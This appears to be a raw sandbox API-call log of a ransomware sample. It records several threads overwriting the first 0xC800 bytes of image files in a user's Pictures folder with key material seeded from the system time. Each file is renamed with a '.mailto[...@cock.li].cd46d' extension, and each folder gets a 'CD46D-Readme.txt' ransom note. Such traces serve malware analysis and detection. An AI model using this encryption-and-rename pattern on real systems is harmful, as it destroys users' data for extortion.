RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d16168 [0050.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0050.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0050.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460920) returned 1 [0050.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed50d0) returned 1 [0050.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc58) returned 1 [0050.887] WriteFile (in: hFile=0xbbc, lpBuffer=0x12d16168*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1082f734, lpOverlapped=0x0 | out: lpBuffer=0x12d16168*, lpNumberOfBytesWritten=0x1082f734*=0xc800, lpOverlapped=0x0) returned 1 [0053.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d16168) returned 1 [0053.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0053.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x12d05020 [0053.413] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.413] WriteFile (in: hFile=0xbbc, lpBuffer=0x12d05808*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x1082f7b4, lpOverlapped=0x0 | out: lpBuffer=0x12d05808*, lpNumberOfBytesWritten=0x1082f7b4*=0x113, lpOverlapped=0x0) returned 1 [0053.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0053.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05058) returned 1 [0053.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0f0) returned 1 [0053.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05020) returned 1 [0053.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608d0) returned 1 [0053.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608f8) returned 1 [0053.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460948) returned 1 [0053.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460970) returned 1 [0053.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d398 [0053.601] wcscpy (in: _Dest=0x12f4d398, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg" [0053.601] wcscat (in: _Dest=0x12f4d398, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0053.601] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1082f76c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40dbf8 [0053.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40dbf8) returned 1 [0053.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0f50) returned 1 [0053.789] NtQueryInformationFile (in: FileHandle=0xbbc, IoStatusBlock=0x1082f778, FileInformation=0x1082f750, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1082f778, FileInformation=0x1082f750) returned 0x0 [0053.789] NtSetInformationFile (FileHandle=0xbbc, IoStatusBlock=0x1082f778, FileInformation=0x1082f750, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d398) returned 1 [0053.794] FlushFileBuffers (hFile=0xbbc) returned 1 [0053.795] CloseHandle (hObject=0xbbc) returned 1 [0053.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400d18 [0053.797] wcscpy (in: _Dest=0x400d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.797] wcscat (in: _Dest=0x400d18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.797] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.042] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d18) returned 1 [0054.042] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffd18) returned 1 Thread: id = 668 os_tid = 0xb78 [0050.887] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\m3fr.jpg")) returned 0x20 [0050.887] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg", dwFileAttributes=0x20) returned 1 [0050.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\m3fr.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc0 [0050.888] GetFileSizeEx (in: hFile=0xbc0, lpFileSize=0xba0faa4 | out: lpFileSize=0xba0faa4*=19129) returned 1 [0050.888] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x4ab5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.888] ReadFile (in: hFile=0xbc0, lpBuffer=0xba0fa28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xba0fa24, lpOverlapped=0x0 | out: lpBuffer=0xba0fa28*, lpNumberOfBytesRead=0xba0fa24*=0x4, lpOverlapped=0x0) returned 1 [0050.889] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0050.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0050.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609c0 [0050.889] NtQuerySystemTime (in: CurrentTime=0xba0fa04 | out: CurrentTime=0xba0fa04*=132174898148640000) returned 0x0 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x69d36b4b [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x5b48ba40 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0xc665a38 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x548fc815 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x5c98b7ec [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x7c0912c2 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x4707c03d [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x410153e1 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x85bb6e7 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x1ff1b437 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x6ba64922 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x51ade8ed [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x14798a97 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x32e88a25 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x111f882d [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x5cdd8480 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x457d2c01 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x3f37e8e6 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x1d1c3e81 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x62b18827 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x154e2132 [0050.889] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x4a5d89de [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x601ad0be [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x23619867 [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x6654ac6b [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x70e77dd9 [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x671b608c [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x5442baf9 [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x6314881e [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x2585bce1 [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x480c810e [0050.890] RtlRandomEx (in: Seed=0xba0fa10 | out: Seed=0xba0fa10) returned 0x308025bb [0050.902] ReadFile (in: hFile=0xbc0, lpBuffer=0x12d22970, nNumberOfBytesToRead=0x4ab9, lpNumberOfBytesRead=0xba0fa00, lpOverlapped=0x0 | out: lpBuffer=0x12d22970*, lpNumberOfBytesRead=0xba0fa00*=0x4ab9, lpOverlapped=0x0) returned 1 [0050.902] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.902] WriteFile (in: hFile=0xbc0, lpBuffer=0x12d2f178*, nNumberOfBytesToWrite=0x4ab9, lpNumberOfBytesWritten=0xba0f9fc, lpOverlapped=0x0 | out: lpBuffer=0x12d2f178*, lpNumberOfBytesWritten=0xba0f9fc*=0x4ab9, lpOverlapped=0x0) returned 1 [0053.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf118 [0053.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf140 [0053.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf140) returned 1 [0053.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d2f178) returned 1 [0053.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d22970) returned 1 [0053.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed50d0) returned 1 [0053.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc58) returned 1 [0053.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x97cf140 [0053.415] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.415] WriteFile (in: hFile=0xbc0, lpBuffer=0x9721dc0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xba0fa64, lpOverlapped=0x0 | out: lpBuffer=0x9721dc0*, lpNumberOfBytesWritten=0xba0fa64*=0x101, lpOverlapped=0x0) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721dc0) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf168) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf190) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf140) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf118) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460998) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4609e8) returned 1 [0053.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a10) returned 1 [0053.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443540 [0053.602] wcscpy (in: _Dest=0x443540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg" [0053.602] wcscat (in: _Dest=0x443540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0053.602] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xba0fa1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\m3fR.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d460 [0053.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d460) returned 1 [0053.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a1178) returned 1 [0053.791] NtQueryInformationFile (in: FileHandle=0xbc0, IoStatusBlock=0xba0fa28, FileInformation=0xba0fa00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xba0fa28, FileInformation=0xba0fa00) returned 0x0 [0053.791] NtSetInformationFile (FileHandle=0xbc0, IoStatusBlock=0xba0fa28, FileInformation=0xba0fa00, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.797] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443540) returned 1 [0053.797] FlushFileBuffers (hFile=0xbc0) returned 1 [0053.801] CloseHandle (hObject=0xbc0) returned 1 [0053.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08b98 [0053.802] wcscpy (in: _Dest=0x12e08b98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.802] wcscat (in: _Dest=0x12e08b98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.802] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.043] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08b98) returned 1 [0054.043] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445fe8) returned 1 Thread: id = 669 os_tid = 0xb7c [0050.903] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ptqa8n6spjcheg.bmp")) returned 0x20 [0050.903] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp", dwFileAttributes=0x20) returned 1 [0050.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ptqa8n6spjcheg.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc4 [0050.903] GetFileSizeEx (in: hFile=0xbc4, lpFileSize=0x10d8fdd4 | out: lpFileSize=0x10d8fdd4*=82615) returned 1 [0050.903] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x142b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.904] ReadFile (in: hFile=0xbc4, lpBuffer=0x10d8fd58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10d8fd54, lpOverlapped=0x0 | out: lpBuffer=0x10d8fd58*, lpNumberOfBytesRead=0x10d8fd54*=0x4, lpOverlapped=0x0) returned 1 [0050.904] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0050.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609c0 [0050.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a38 [0050.904] NtQuerySystemTime (in: CurrentTime=0x10d8fd34 | out: CurrentTime=0x10d8fd34*=132174898148796000) returned 0x0 [0050.904] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x77e729d [0050.904] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x4e0be02f [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x68b05651 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x6be79707 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x1c772041 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x1747b70 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x401335dd [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x34e2dc5f [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x77bc63c9 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x7a4f142f [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x41beb6b [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x23e9770 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x1215da97 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0xdcfb484 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x3adf27c9 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x27b26f63 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x1d32e7a8 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x7cbfc1fc [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x576c3dbf [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0xde3ee3e [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x69b76136 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x2aa0a22f [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x78cd30c5 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x20cda7d2 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x24d956be [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0xf22746f [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x2d4e3bc2 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x34b7c559 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x227bde03 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x50524799 [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x726bb5ef [0050.905] RtlRandomEx (in: Seed=0x10d8fd40 | out: Seed=0x10d8fd40) returned 0x5d12e15f [0050.917] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.917] ReadFile (in: hFile=0xbc4, lpBuffer=0x12d3b980, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10d8fd14, lpOverlapped=0x0 | out: lpBuffer=0x12d3b980*, lpNumberOfBytesRead=0x10d8fd14*=0xc800, lpOverlapped=0x0) returned 1 [0050.917] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bca0 [0050.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5148 [0050.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0050.917] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460920) returned 1 [0050.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d48188 [0050.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0050.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a38 [0050.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a38) returned 1 [0050.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5148) returned 1 [0050.921] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bca0) returned 1 [0050.921] WriteFile (in: hFile=0xbc4, lpBuffer=0x12d48188*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10d8fd14, lpOverlapped=0x0 | out: lpBuffer=0x12d48188*, lpNumberOfBytesWritten=0x10d8fd14*=0xc800, lpOverlapped=0x0) returned 1 [0053.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d48188) returned 1 [0053.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d3b980) returned 1 [0053.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x5efe0f0 [0053.417] SetFilePointerEx (in: hFile=0xbc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.417] WriteFile (in: hFile=0xbc4, lpBuffer=0x97cf888*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x10d8fd94, lpOverlapped=0x0 | out: lpBuffer=0x97cf888*, lpNumberOfBytesWritten=0x10d8fd94*=0x115, lpOverlapped=0x0) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf888) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe130) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1b8) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe0f0) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460920) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4609c0) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a60) returned 1 [0053.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a88) returned 1 [0053.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d528 [0053.604] wcscpy (in: _Dest=0x12f4d528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp" [0053.604] wcscat (in: _Dest=0x12f4d528, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0053.604] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10d8fd4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PTQA8n6SpjchEG.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x97cf888 [0053.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf888) returned 1 